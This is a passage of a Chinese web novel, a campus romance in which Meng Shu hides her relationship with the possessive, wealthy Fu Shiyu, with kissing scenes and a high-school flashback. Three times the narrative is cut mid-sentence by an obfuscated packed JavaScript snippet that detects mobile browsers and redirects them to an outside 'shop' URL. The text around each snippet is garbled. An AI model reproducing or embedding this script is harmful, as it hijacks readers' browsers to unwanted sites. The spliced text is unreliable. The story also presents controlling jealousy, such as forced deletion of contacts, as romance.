对方似有感应,抬眸,先看到孟舒,脸上不耐烦的神色稍稍褪去,但当看到旁边的傅明淮,眉头几不可见地皱了皱。 傅时逾站直,收起手机放回外套口袋。 傅明淮走到他面前,看了看他四周,“怎么在这儿?不会一直没走吧?” 傅时逾看了眼傅明淮身边的人,面无表情道:“等人吃饭。” 孟舒被他看得一阵心虚。 傅明淮没问他等谁吃饭,“我和孟舒也准备去吃饭,那我们先走了。” 转身才走两步,发现傅时逾跟了上来。 “不是约了人吃饭吗?”傅明淮笑着问,“不会被人放鸽子了吧?” 傅时逾没说话,沉默地将孟舒手上的电脑包和其他东西接到自己手里。 那堆东西里包括孟舒自己的包。 她今天穿的素,就背了个颜色鲜亮的包。 傅时逾一身黑,包拎在他手里,很是扎眼。 回头率不用多说。 孟舒想拿回自己的包,奈何傅时逾早有准备,换了个手拿。 她想要硬抢过来,他也跟着抬手,掌心向上,低头冷冷瞥她一眼。 那一眼的意思很明确—— 要么包给他拿,要么手给他牵。 孟舒咬着唇,默默地垂下手。 傅明淮走在前面,没发觉后面两人的小动作和小眼神。 一路上,孟舒受到了很多意味不明的视线洗礼。 但比起刚才课堂上发生的,对孟舒来说这些都不算什么了。 三个人来到南苑食堂。 南苑专供教职人员,硕士和博士生。 锅底有人送过来,涮菜在自助区自己拿。 傅明淮遇到同事,被拉到对方桌上闲聊。 孟舒回了几条宣传部工作上的消息,没多久,傅时逾拿了两人份的涮菜回来。 孟舒看了眼,“没有小菠菜吗?” 傅时逾倒是没嫌她挑,抬了抬下巴示意托盘上的盘子,“有别的蔬菜。” 傅时逾自己不爱吃菠菜,就觉得所有人都不应该喜欢吃。 孟舒站起身,“我自己去拿。” 孟舒拿完菠菜,又去拿了其他几样东西。 看到有芝士年糕,孟舒专门挑黄色的拿。 她一直觉得这个颜色的最好吃。 虽然傅时逾告诉她,除了色素不同,味道完全一样。 夹第二块时,旁边突然斜插过来一只手,动作迅速地把黄色的全部夹走。 孟舒回头,看到一张熟悉的脸。 9.抱你亲你 “学长?”孟舒喊了对方一声。 对方只是抬头看了她一眼,像是没听见,继续夹菜。 被孟舒喊“学长”的人叫章顺洲。 他就是孟舒在工作室拿学分的绊脚石,那位经常找她麻烦的研二学长。 章顺洲人长得还算周正,刚认识那会儿,肖君还夸过他小白脸。 但这人的性格实在不怎么样,喜欢鸡蛋里挑骨头,嘴巴更是“毒”树一帜。 傅时逾嘴里虽然也没什么好话,但他就事论事,骂人纯粹是因为你在他面前犯蠢。 而且他骂完该教教,该兜底兜底。 孟舒刚开始挨傅时逾骂,心里还会憋屈难受,这么多年早被骂皮实了,偶尔还会和他呛几句。 不过和他对着干的后果可想而知—— 不是被压着弄,就是被压着狠狠弄。 孟舒讨了个没趣,本身也有点怵章顺洲,打完招呼就准备走,却被章顺洲叫住。 “让你写的稿子怎么还没给我?” 果然…… 孟舒心里哀叹一声,小声说:“稿子发给李妍学姐了。” “发给她干吗?”章顺洲扬声,不满道,“我让你写的,你不给我给她?” 直接发给他,指不定要被打回来多少回,所以孟舒发给好说话的学姐审核。 章顺洲看出她的心思,冷嘲热讽道:“就算她给你审核通过了,在我这儿过不了,该重写还得重写。” 孟舒低眉应声,“明白了学长。” 章顺洲又把她之前那几篇推文拿出来数落了几句。 孟舒面上谦虚,心里盘算着还差多少学分才能解脱。 “听见了没啊?”章顺洲瞧她走神,嗓门不由大了点。 声音不大不小,引得几道视线朝他们看过来。 其中一道,仿若实质。 不用看就知道是谁的。 孟舒后背一阵发凉。 “学长,我下午还有课,先去吃饭了。” 章顺洲伸手拦了她一下,拿手上夹子敲了敲她托盘上的那盘芝士年糕。 “喜欢吃这个?” “还行……” 章顺洲直接把她盘子里唯有的一块黄色芝士年糕夹到自己碗里。 他理所当然地说:“一块也不过瘾,干脆别吃了。” 孟舒没阻止,横竖一块年糕,她不至于这么小气。 孟舒回头看了眼。 不远处的餐桌上,男生双手支着下巴,看着他们,脸上表情晦暗不明。 她再站在这里和章顺洲说话,后果才更严重。 孟舒急于摆脱章顺洲,别的东西也不拿了,赶紧端着托盘回去。 “等等——” 这回章顺洲没能叫住孟舒。 她脚步略显匆忙地走向某张餐桌。 原本在外面,孟舒会尽量离傅时逾远一点,但她今天把托盘放他旁边,人也在他身边坐下。 傅时逾收回目光,对于她过于明显的讨好,并非很满意。 他将酱料碟放在孟舒手边。 孟舒看了眼,不确定地低头闻了闻,“醋吗?” 吃小火锅的餐厅热气腾腾,孟舒都感到有些热了,男生的声音却冷得像寒冬里屋檐下结的冰霜,“怎么,你不是喜欢吃吗?” 孟舒不喜欢吃酸的东西,吃火锅也只喜欢蘸沙茶酱。 喜欢吃醋的明明是他…… 傅时逾手指在桌面上敲了一下,然后落下一个字,“谁?” 没头没脑,也就孟舒知道他的一字禅是什么意思。 “刚才那个是我们工作室的学长,负责审核稿子。” 孟舒没说章顺洲也是自己专业的直系学长,凭她对傅时逾的了解,这层关系比起“同事”会更让他介意。 傅时逾再次开口前,孟舒主动说:“他的微信真不能删,工作上很多事情要沟通的。等拿完学分离开工作室,我马上删,好吗?” 小姑娘语气里满是恳求意味,甚至有点卑微讨好的意思。 他目光落在她手机上。 孟舒都快哭了,“可以吗?” 傅时逾再次抬头看着孟舒,寡淡的表情有了丝波动。 他想像往常那样屈指抹去她眼尾湿意,孟舒惊恐地往边上躲。 眼神示意他们在哪里,让他别乱来。 傅时逾抬起的手顿了下,意兴阑珊地收回,将自己手边那份沙茶酱推过去。 “那你向我保证。” “保证什么?” 傅时逾往不远处章顺洲那桌看去。 “除了工作之外不会和他有其他接触。” 孟舒毫不犹豫地点头,“当然。” 如果是别人,孟舒还真不敢保证,但章顺洲的话,就连工作上她都不想和他过多联系。 离他们不远的餐桌上。 “老章,看什么呢?”身边的人拍了下章顺洲肩膀,顺着他视线看过去,待看清人,惊讶地“呦”了声,“这不是计算机系那谁吗?” 章顺洲和几个研究生同学也在南苑吃饭。 看到傅时逾,大家闲聊起来。 “倒是很少在学校碰到他。这哥大忙人,神龙见首不见尾的,但我每天都能从各种人嘴里听到他名字,他也算是咱们江大少见的现象级人物了。” “是从女生嘴里吧?” “那倒也不全是,我那个计算机学院的朋友,说起他就是多么多么牛逼,就他那个刚获奖的项目,学校几次三番想塞人进去,都被他拒绝了。比赛但凡是他带队,那些想混个奖的裙带关系也全被他踢了,谁的面子也不给。” “这哥们儿够刚,用实力说话的主儿,就算用投资款威胁也根本不怕。” “那点投资款,搞不好还没他零花钱多。” “听说球打得也不错。” 有人往傅时逾那边看了眼,“旁边的是他爸傅明淮教授,那女生又是谁啊?” “不认识,看着眼生,我们学校的吗?” “不是吧,我们学校有这么漂亮的?” “长得帅家世过硬就是好,再漂亮的女生还不是上赶着倒贴?哪像我们,本硕归来还是单身。” “都见家长了,肯定是女朋友吧?” “不见得,你觉得傅时逾能收心?我要长他这样,怎么可能忍心自己英年早婚,说不定是女生死皮赖脸跟着来的。” “拿傅教授道德绑架啊?可真有一套!” “那可是傅时逾,别说江大,江城这么多年也只出了他这么一个,我要是那女生,肯定牢牢抓住绝对不放手。” 感受到有人在看自己,孟舒回看过去,正撞上章顺洲的视线,许是改稿子改怕了,孟舒都对章顺洲ptsd了,下意识避开和他对视。 而她惊慌心虚的表现,在章顺洲眼里,却是另一种含义—— 果然这些调侃都是真的。 吃完饭,孟舒回了宿舍。 肖君和孙怡闵去了图书馆,宿舍里只有蒋桐在。 蒋桐没跟着去,就是等着她回来招供。 孟舒早有心理准备,挑拣着说了和傅时逾的事。 高三在傅时逾家住了一年,她数理化薄弱,他耐心辅导,最后一起考进江大。 近水楼台,日久生情。 一切听起来都顺理成章。 蒋桐认真听完,心里依然震撼。 “你们在一起都快三年了啊?所以傅时逾发错在群里的那张照片,那个女生是你?刚才在傅教授课上,他那些话也是对你说的?” 孟舒回忆了下舍友们对照片的言论和对“傅时逾女朋友”的揣测,心虚又尴尬。 “舒舒,我再确认一遍,我们在谈论的人是傅时逾,我们学校计算机系的大牛人傅时逾,女寝夜谈出现频率最高的傅时逾?” 蒋桐还是无法相信,孟舒竟然和傅时逾在一起,还是从高三开始! 这无异于,某个内娱大热明星突然变成了闺蜜的男友一样不切实际。 “果然帅哥都是不流通的,”蒋桐再次感叹,“高中就谈上了。” 孟舒没有纠正蒋桐“在一起”的说法。 她刚才那些话,任谁听了,都会认为他们这些年的相处和情侣无异。 可只有孟舒知道,他们根本不是。 “桐桐,你能暂时替我保密吗?”孟舒做了个祈求的手势。 蒋桐在答应孟舒之前,正色道:“是傅时逾要求的吗?” 孟舒摇头,“不是,是我不想公开。” 听孟舒这么说,蒋桐放下心,“嗯,放心,我不会告诉任何人。” 孟舒好奇地问:“如果是傅时逾不想公开呢?” 蒋桐撇嘴,“那我肯定劝你分了。” 孟舒笑起来。 蒋桐凑过来,捏捏孟舒的脸,感慨道:“我还是很好奇……” “好奇什么?” “和傅时逾谈恋爱是什么感觉啊?” “感觉?”孟舒蹙眉,缓缓摇头,“不就像你和周韧一样吗?” 周韧是蒋桐男朋友,两人也是高考后开始谈的青梅竹马。 “可那是傅时逾!你究竟明不明白,你是在和傅时逾谈恋爱啊!” 孟舒忍俊不禁。 长得帅智商高家世好,在哪儿都是焦点的天之骄子。 外人都对傅时逾有着很厚的滤镜。 孙怡闵经常说他是神仙,不食人间烟火。 和她们都不是同一个世界的。 可孟舒见过他的真实面目,见识过他有多么恶劣和不讲道理。 他在她那儿的滤镜早就碎成齑粉了。 如果不是“分”不掉,她分分钟不想和他扯上任何关系。 蒋桐是真的好奇,一反安静的性子,追着孟舒问。 “他刚才喊你‘宝宝’,所以他平时都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300157|197836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊你宝宝、宝贝还是舒舒?” “他们说他看着高冷,私底下肯定很黏人,是真的吗?你们在一起时,他是不是总想抱你亲你?” “傅时逾吻技怎么样?舒服吗?” 蒋桐的问题一个比一个出格。 孟舒第一次和人聊这些,不太习惯,脸色涨红,吞吞吐吐。 “喊名字多一点。” “私底下差别不大。” “还……行吧。” 手机最后解救了孟舒。 难得傅时逾发来消息,她不是烦躁,而是想给他磕一个。 蒋桐看她消息回得飞快,眨了眨眼,“是傅时逾吧?” 孟舒拿起包,“嗯……我得出去一趟。” 蒋桐突然想到什么,“所以你过去所谓的住在学校旁的叔叔家,不会是你和傅时逾的爱巢吧?” 孟舒:“……” 爱巢倒是形容得挺贴切。 专门做-爱的巢。 傅时逾没让她去他们的爱巢。 他让孟舒去他实验室。 自从傅时逾开始搞项目,孟舒只来过一次他的实验室。 傅时逾脾气差,性格恶劣,但敬业精神一流。 他对项目尽心尽力,熬夜通宵更是家常便饭。 今年年头,项目正处于关键期,傅时逾在实验室连熬了好几天。 原本一天天转暖的天气,温度突然大跳水,晚上更是降到了零下。 孟舒那些天为了考试复习,住在外面公寓,傅时逾打来电话时,她已经洗好澡躺在床上看复习资料。 电话里,傅时逾让她带件衣服给他。 当初为了方便,公寓就买在学校附近。 开车十分钟的距离。 孟舒打车过去,晚上车少,很快就到了。 傅时逾看到她,似乎有些讶异。 没想到她这么快就过来了。 天气冷,大家都提前回去。 实验室里只有傅时逾一个人。 孟舒站在实验室门口,没进去,举着装了衣服的拎袋。 傅时逾没去接,坐在椅子上,懒懒散散地抱臂看着她。 她出来得急,只换了睡裤,没换睡衣,睡衣外套了件针织衫和外套就出门了。 长发用鲨鱼夹松垮地夹在脑后,几缕绒绒的发丝散落在鬓角脖颈,眉眼被夜里的寒气凝了层霜,湿漉漉的过分纯净。 他不来拿,孟舒只好走进去。 她把衣服放桌上,“那我走了……” 孟舒刚要转身,手臂就被拽住。 轻轻一拽,傅时逾把她拉到怀里。 她胆战心惊地看了眼四周。 好在她刚才进来时顺手关了门,窗帘也都是拉上的。 傅时逾扣在腰上的力道很大,孟舒挣不开,被迫侧坐在他腿上。 傅时逾抬起手,修长手指勾掉她耳朵上的口罩,“怎么戴口罩了?怕被人看见?” 孟舒确实怕被人看见,所以戴了口罩,原本到了后想打电话让他下来拿,怕影响他工作,最终还是心软拿上来。 “你忙吧,我回去了,”小姑娘低垂着的鸦羽轻颤,“一堆复习资料等着看呢。” 声音细细软软,明明在埋怨他大晚上的非要麻烦她,口气却更像是撒娇。 傅时逾低头,在她唇角啄了一下,“什么时候考试?” “后天。” “那不是还有时间?” “我又不是你不用复习……”孟舒眉心微微蹙起,小声嘀咕,“这课大概率要挂。” 有时孟舒是真羡慕傅时逾。 对他来说根本就没复习的说法。 学过就会,会了随便考。 当年高考,他也没怎么刷题。 就算刷题也是为了找适合她做的。 男生鼻息间的气息热热地喷在孟舒脸上。 她躲了下,被捏着下巴转回来。 傅时逾喉间滚出一声低笑,嘴唇贴在她耳边,故意放低的嗓音沉磁,尾调挂着蛊惑人的钩子,“要不要哥哥帮忙?” 孟舒耳朵根发痒,双手抵在他胸口,扭着脖子,“我真的要回去了。” 傅时逾哪里肯放她走。 原本让她拿衣服过来就是借口。 男生的手从她白色羽绒服里伸进去,撩起针织衫和睡衣,掐她细窄的腰,指腹来回摩挲微微凸出的肋骨。 孟舒的唇被他吮在嘴里,舌尖熟练地长驱直入,勾缠着她的舔吸。 孟舒的手臂不知何时,主动挂在傅时逾脖子上,被亲得不断后仰脖子。 两人安安静静地亲了会儿,直到实验室的新风系统工作,低频的白噪音萦绕在耳边。 分开时,唇畔拉出条细长的银丝。 两人的气息都有些喘。 傅时逾用指腹抹去孟舒嘴角沾的水渍,黑色很深,眼中潮气泛滥,“想我了没?” 10.甜得要命 孟舒在公寓里复习的这几天,傅时逾一直在实验室,两人没见过面。 这种问题,孟舒从来都是自动屏蔽。 她看了眼面前的电脑,“还要弄很久吗?” 傅时逾想要温存的意味淡了些,他把小姑娘的外套整理好,在她后背上轻拍两下。 “要留下陪我吗宝宝?” “我没拿复习资料。”这门课她临时抱佛脚,计划今天看到凌晨,否则真要挂。 孟舒言下之意是愿意陪他。 傅时逾在她脸上亲了一大口,嘴角勾了勾,“等着。” 知道孟舒后天要考哪一科后,傅时逾不知道从哪里搞来了一套复习资料,比授课老师给的精简了起码一半。 “时间不够看这份就够了,”傅时逾把打印好的资料给孟舒,让她坐在空调旁,把自己保温杯里的提神茶倒掉,给她泡了点柠檬水,放在她手边,“打算看到几点?” 孟舒看了眼时间,“一点吧。” 傅时逾没说什么,回了电脑前。 实验室不大,一个正常教室大小,是学校专门拨给傅时逾用的。 傅时逾这些年的积蓄一大半花在这里。 用的服务器组,比一些互联网公司还要专业,软硬件全部换成顶配。 桌椅却还用的学校原来的。 他这人挑剔,别说电脑鼠标键盘不合心意,就是排线乱一点都不行。 没几个人吃得消他的吹毛求疵。 但有时也没那么挑剔,在挑战人体工学原理的座椅上,这人一坐就是整晚。 孟舒没坐多久就腰疼,最后还是坐回了傅时逾腿上,拿他当人肉坐垫。 十二点不到孟舒就睡着了。 脑袋歪在傅时逾肩上,额头抵着他脖子。 傅时逾因为抱着孟舒,写代码的速度不得不变慢,但他没叫醒她。 寒冷而寂静的夜晚,电脑屏幕的光线映照着男生轮廓分明的五官,盯着电脑的目光冷静到近乎漠然。 最擅长的东西也无法调动他的情绪。 唯有…… 键盘上修长的手指微顿,傅时逾低头看着怀里的人。 俯身亲吻的那一刻,目光盛满温柔。 后来那门考试,孟舒低分飞过。 * 这是继半年多后,孟舒再次来傅时逾实验室。 午休时间,实验大楼没什么人。 以防万一,孟舒还是戴上了口罩。 推开实验室的门,里面没人。 “这人搞什么,叫我过来自己又不在……” 孟舒刚转身就撞到了人。 鼻尖撞在对方肌肉紧实的胸口。 太硬了,撞得鼻腔里一阵发酸。 她还没来得及往后退开,被人揽过腰,压进怀里。 意识到抱着自己的人是谁,孟舒放弃挣扎,但下一秒用力推搡对方,压低着嗓子说:“放开我,会被人看到……” 傅时逾单条手臂箍着她腰,没用什么力就将她提抱起来,脚尖脱离地面。 男生薄薄一层眼皮下压,看着她慌乱的目光,口气有点冷,“才过来就要走?” 孟舒怕摔,手臂紧紧勾着他脖子,“我以为你不在。” 傅时逾凌厉的眉峰蹙起,“就不能等等我?” 孟舒自知有愧,心虚地避开他视线问:“你去干吗了?” 傅时逾晃了晃手里的纸袋,“去拿了点东西。” 孟舒这才看见傅时逾手上拎的奶茶。 和孟舒相反,傅时逾不爱吃甜食,更接受不了奶茶的甜腻。 傅时逾买的奶茶,是孟舒最近常点的一家店,离学校有点距离,可以送外卖。 算算时间,刚才在食堂吃饭时,他就已经点好了。 一走进实验室,孟舒就发现了异样。 “学校给你们换桌椅了?”不仅实验室里那些老古董桌椅全换了新的,还多了张沙发,皮质不错,看着不便宜。 傅时逾纠正她:“是我换的。” 一间只有临时使用权的实验室,他豪气地把设备全换成新的,还单独给实验室装了套新风系统,如果不是怕影响项目进度,恐怕还想重新装修吧。 傅少爷还是有钱。 孟舒仇富地想。 门口突然响起两声敲门声。 不等孟舒阻止,傅时逾说了声“进来”。 实验室统共这么点地方,孟舒藏都没地儿藏,只能直挺挺地站着。 门打开,有个男生出现在门后,看到傅时逾,抬手和他打了声招呼。 打完招呼才发现实验室里还有其他人。 刚开始以为是项目组的人,但等看到她的脸,对方惊呼道:“是你?” 孟舒也认出对方了。 前天录播室,站在孟舒身后和她搭讪的广播站副站长。 两人当天刚加微信就被傅时逾逼着删了。 没想到会在这里遇到。 孟舒怀疑地看向傅时逾,后者表情淡漠,目光泛凉。 气氛莫名诡异起来。 那男生主动开口打破了沉默,因为傅时逾在,他没问孟舒为什么拉黑自己,而是解释自己来这里的原因。 “学校要给傅同学做场专访,我过来和他聊聊专访内容。” 孟舒不提自己是谁,为什么出现在这里。 她端得一派自然,还挥了挥手。 “你们聊吧,我先走了。” 但傅时逾一句话就让孟舒破功。 “不喝奶茶了?” 孟舒拎着包的手攥紧,面上客套地笑了笑,“谢谢傅同学,不用了……” 插好吸管的奶茶被递到她面前。 傅时逾把她挂在下巴上的口罩摘下,当着男生的面,一点不嫌地塞进自己外套口袋。 他朝孟舒偏了偏头,示意不远处的沙发。 “乖,坐一会儿,我很快就结束了。” 乖? 乖! 乖你个头啊!!! 谁让你用这种口气说话的! 孟舒想死的心都有了。 可傅时逾不让走,孟舒走不了。 她只能四肢僵硬地走到沙发前坐下。 僵硬的不止是她。 那位广播站副站长不仅僵硬,差点当场石化。 再愚钝也看得出来,傅时逾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304594|197836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和这个女生的关系不一般。 这几天学校里盛传傅时逾有女朋友,看来消息不假。 眼前这个女生应该就是他女朋友。 想到前天自己当着人女朋友的面说的那些话,还想加她微信…… 傅时逾可不是什么大方的人。 男生除了不好意思,心里更是忐忑。 好在傅时逾没提前天的事。 傅时逾向来惜字如金,男生又心里有鬼。 两人没聊多久就结束了。 傅时逾关上门转身,被孟舒丢过来的抱枕砸了一下。 抱枕轻飘飘,软绵绵,就跟她的愤怒一样,除了让他觉得可爱没有一丝杀伤力。 他把抱枕接在怀里,放回沙发上,双手撑在她身后的沙发靠背上,微微俯身,勾着嘴角,慢悠悠懒洋洋地开口:“谋杀亲夫啊?” 孟舒怒瞪他,“谁谋杀你,不对,你不是……” “不是什么?”傅时逾打断她,捻起她一簇头发,一圈圈绕在指尖,往下扯了扯,看她吃痛蹙眉,嗓子裹着冷意,“但你的追求者认为我是。” 孟舒鼓着脸,生气地问:“所以你是故意让他过来的?” 傅时逾冷嗤不屑,“就他?不至于让我费这种心思。” 傅时逾恶劣归恶劣,但他对自己做的事从不否认。 孟舒相信蒋桐会替自己保密,可这个广播站副站长…… 努力隐藏了三年的关系就要被发现,孟舒把错怪在傅时逾身上,口气有点冲地问:“那你让我过来干吗?” 傅时逾掀起眼皮,凉飕飕地撩她一眼。 孟舒被他的眼神看得心里发紧。 傅时逾就这么看着她也不说话。 良久,低下头,就着孟舒握着奶茶的手,吸了一口,含在嘴里没有吞咽。 然后吻住孟舒。 傅时逾的举动太过突然,孟舒完全没反应,随着他喉头滚动,她被动吞咽。 丝滑醇厚的奶茶顺着喉咙不断往下流。 最后吸了吸她舌尖,傅时逾才退开,指腹抹去她嘴角来不及吞下的奶茶,嗓子被奶茶润得腻人。 “叫你过来,当然是喂你喝奶茶。” 孟舒不知是被傅时逾亲得满脸通红,还是因为他这句不正经的话气红的,薄透的脸皮和脖颈里一层层往外泛着红。 傅时逾忍不住又亲上去,长驱直入,勾着她舌尖,又吸又舔,放她呼吸时,细密湿漉的吻不断落在她耳边。 “怪不得你爱喝这家,果然甜得要命。” 关上门在实验室里亲了会儿,喝了小半杯奶茶,傅时逾才放开她。 孟舒被亲得脸色潮红,喘息声很重,“你以后约了别人,能不能提前说?” 傅时逾眼里滚烫的欲色因为她这句话逐渐冷却。 他低头整理她被弄乱的衣服下摆,冷声问:“为什么?” “当然是因为……”孟舒顿了顿,意识到傅时逾表情不对劲,眼眸低垂,抿着唇说,“反正会很尴尬,你以后不要这样了,我不想被人看见我和你在一起。” 不想被人看见我和你在一起。 傅时逾的脸色彻底冷了下来。 11.见不得光 不用多问一句为什么。 这些年,孟舒虽然没明说,但她把两人的关系定义为什么,彼此心知肚明。 反正是见不得光的。 而傅时逾也没纠正过她这种想法。 所以孟舒一直认为,他们的关系不会长久。 他没再说什么,转身回到自己办公位。 孟舒站起身准备离开,却被傅时逾叫住。 他拿出口袋里的口罩,没什么情绪地说:“戴着吧,不是怕被人看见吗?” 孟舒走过去,拿了口罩。 “那我走了。” 傅时逾没有留她,默然地“嗯”了声。 孟舒离开实验室。 走到楼底下,看到垃圾桶,走过去扔手里空了的奶茶杯。 扔掉前的一刻,她动作顿了顿。 孟舒低头看着手里的奶茶。 温热,不另外加糖,加一份芋圆。 孟舒喝的奶茶品牌很多,她喜欢喝哪家的哪款,口味偏好是什么,傅时逾全都知道。 这些年,傅时逾对她,一个巴掌一颗枣。 屡试不爽。 他要她删别的男生微信,不删的也绝不能超过正常的接触范围。 他自私专制,霸道恶劣,可就因为她觉得实验室的椅子坐着不舒服,他全换了,旧清风系统噪音太大影响他们接吻,他也换了。 他知道她爱吃什么菜,再忙也抽出时间学着去做,会观察她最近喜欢什么,特意点她爱喝的奶茶。 蒋桐问她,傅时逾平时都喊你什么。 外人眼里的高冷大神,四下无人,贴在她耳边,不是“宝宝”就是“宝贝儿舒舒”。 一声声喊得动情旖旎。 这明明是喜欢一个人的表现。 可他从没对她说过喜欢。 * 因为爸爸工作调动,孟舒高二转学到江城三中。 江城三中是江城最好的高中。 只有最拔尖的学生才够得到三中门槛。 学校的教学进度比普通学校快,再加上南北方教学差异大,孟舒刚进三中时不太适应。 原本她在过去的学校,成绩能排进年级前三,到了三中,连前三十都排不进去。 入学没多久,父母又闹起了离婚。 她尊重父母的决定,也理解他们的婚姻出现问题无法再继续走下去。 但她那时毕竟年纪还小,很多冠冕堂皇的话只不过是在父母面前逞强。 事实上,父母每一次关起门来压低声音争吵时,孟舒都在房间里偷偷地哭。 父母离婚这件事对她造成了不小的影响,成绩也随之下滑厉害。 当初能进三中,妈妈的上司夏总帮了大忙,后来她又把孟舒带回家,给了她一个能暂时避开负面情绪的喘息期。 那时孟舒的成绩已经在百名徘徊,随时会掉出百名外。 这样的成绩,离她想考的华大差距甚远。 高二的暑假,她搬进傅家别墅。 假期里,别人都在享受假期,而她几乎不出门,除了吃饭,连楼都不下,整天把自己关在房间里刷题。 八月最热的那几天,傅明淮在外地参加教研活动,夏江潮去了国外办展览。 某天下午,孟舒刷着题,实在抵不住困意趴在书桌上睡着了。 孟舒做了个梦,梦里她走着走着突然踩空了一步,在掉下去之前伸手抓住了什么。 她抓住的是一根刺,那刺无比尖利,深深扎进了手掌中。 她实在太痛了想要放手,可底下就是万丈深渊,掉下去也没有活路。 是一点点流血耗死还是痛快一点摔死,这种抉择比死亡本身更让她痛苦。 好在她被一阵电话铃声吵醒。 她抹了下额头,发现自己出了一身冷汗。 孟舒看了眼房间里的空调,怀疑坏了。 她明明调的温度不低,可吹出来的风冷得她直哆嗦。 电话是妈妈林蓓打来的。 电话里她语气还算轻松地告诉孟舒,离婚手续办好了,从今天开始她就恢复自由身了。 母女俩聊了几句就挂了。 几分钟后,她爸爸孟东洋也打来电话。 孟东洋明天的飞机回美国,离开前想和孟舒见一面。 空调的通风口正对着孟舒吹,她握着手机打了个寒战,轻声对孟东洋说:“我得做题,就不过来送你了。” “舒舒……” 孟舒没等孟东洋说完就挂了电话。 空调的风越吹越冷,她干脆关了,搓了把脸继续做题。 连刷几张卷子,直到天色渐暗。 孟舒在房间里闷了大半天,身上捂出了一身汗。 一冷一热,孟舒生病了。 傅明淮和夏江潮不在,傅家阿姨这两天有事,准备好晚餐就走了。 家里只剩下孟舒和傅时逾。 半夜烧得实在难受。 孟舒不想打扰傅时逾的,但强烈的求生欲,让她还是来到二楼,敲响了他的房门。 孟舒问傅时逾药箱在哪里。 傅时逾没说话,拿手背贴了贴她额头,随后直接带她去了医院。 大半夜医院里人不少。 都是吹空调吹出来的感冒发烧。 候诊时,孟舒混在一堆小孩子里,耳边充斥着哭闹声,她头疼得更厉害了。 她闭着眼睛,皱了皱眉。 突然脑袋被拨向一侧,她半张脸直接贴在柔软的衣物上。 不等她反应,露在外侧的耳朵被覆住。 傅时逾把她脑袋按在怀里,还用手捂住她耳朵。 所有的声音瞬间被隔绝。 遥远地像隔着一层屏障。 孟舒脑袋昏昏沉沉,没有力气抬起来。 她也不想抬。 她小幅度地蹭了蹭脸颊,皱了皱鼻尖。 傅时逾用的沐浴露和自己是同一款,可孟舒却觉得他身上的味道更好闻些。 清清爽爽的薄荷夹杂着淡淡的乌木沉香。 对于浑身滚烫发热的孟舒来说很舒服。 看诊,抽血,挂水。 折腾了一夜。 孟舒的脑袋几乎全程埋在少年怀里。 她那次烧得挺厉害,都开始说胡话。 隐约记得自己和傅时逾说了很多。 说自己小时候半夜生病,爸爸开车,妈妈抱着她坐在副驾驶,她晕晕乎乎地,只感觉到眼前很多车灯在晃,既难受又安心。 说爸爸工作调动后经常出差不在家,她再生病,只有妈妈一个人打车送她去医院。 她说我可能是小时候经常发烧,把脑子烧坏了,所以不会做三中数学卷子的最后一题。 她恍惚中听见傅时逾听到这里时笑了。 他好像还说了不止是数学题,你物理最后一题也不会做。 她大概是真糊涂了,听不出他话里调侃, 脸贴在他心口,软绵绵地没有力气也要蹭蹭他,边蹭边说你是年级第一,我蹭两下,也让我沾点考运吧。 孟舒觉得自己一定是在做梦,谁会理一个烧得糊涂的人,还和她有来有往地对话聊天。 在医院里,傅时逾惜字如金,除了回答医生的问题和护士换水时告诉对方病人的名字。 昏沉中,孟舒听见男生略微低沉的声音喊着她的名字。 “孟舒……” * “孟舒,你喜欢傅时逾吗?” 高二某堂排球课。 课中休息,女生们结伴去小卖部买冰水,用来冷敷练习颠球颠肿的手腕。 女生们买完水没走,围在小卖部的立式空调前,吹着空调闲聊。 孟舒上一秒还在难过这次月考的排名又下降了二十个名次,听到同学突如其来的问题,嘴里那口柠檬水,冰得口腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308776|197836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发麻。 孟舒才转来三中没多久,却对“傅时逾”三个字并不陌生。 不管是课上,午休还是回家的地铁上,总能听到穿着三中校服的人在谈论他。 女生们聚在一起,无论刚开始的话题是什么,最终总会围绕着他。 他们谈论他又拿了什么奖,谈论他今天穿了什么颜色的外套,他喜欢喝什么饮料,他耳麦里放的是哪个乐队的歌。 傅时逾三个字,像一个符号,一个标志。 代表了一段满腹少女心事的青春。 更是很多人记忆里最深刻的一笔。 她们刚才在讨论,傅时逾喜欢哪种类型的女生。 有人说当然是和他一样的高冷学霸,惺惺相惜目标一致,家世还要相当。 也有说他喜欢钓系御姐,别看傅时逾看着高冷,说不定私底下是黏人小狗。 只有一个女生猜测,傅时逾既不喜欢高冷学霸,也不喜欢钓系御姐。 他很可能喜欢软妹子。 理由是她曾看见傅时逾,对着路边地摊上卖的兔子,看了很久。 像兔子一样又乖又软的女生。 大家首先想到的就是孟舒。 